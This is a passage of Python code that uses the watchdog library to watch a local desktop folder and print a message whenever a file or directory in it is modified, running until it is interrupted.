on_modified(self, event): if event.is_directory: print("directory modified:{0}".format(event.src_path)) else: print("file modified:{0}".format(event.src_path)) if __name__ == "__main__": observer = Observer() event_handler = FileEventHandler() observer.schedule(event_handler, r"C:\Users\wyq\Desktop\1", True) observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: observer.stop() observer.join()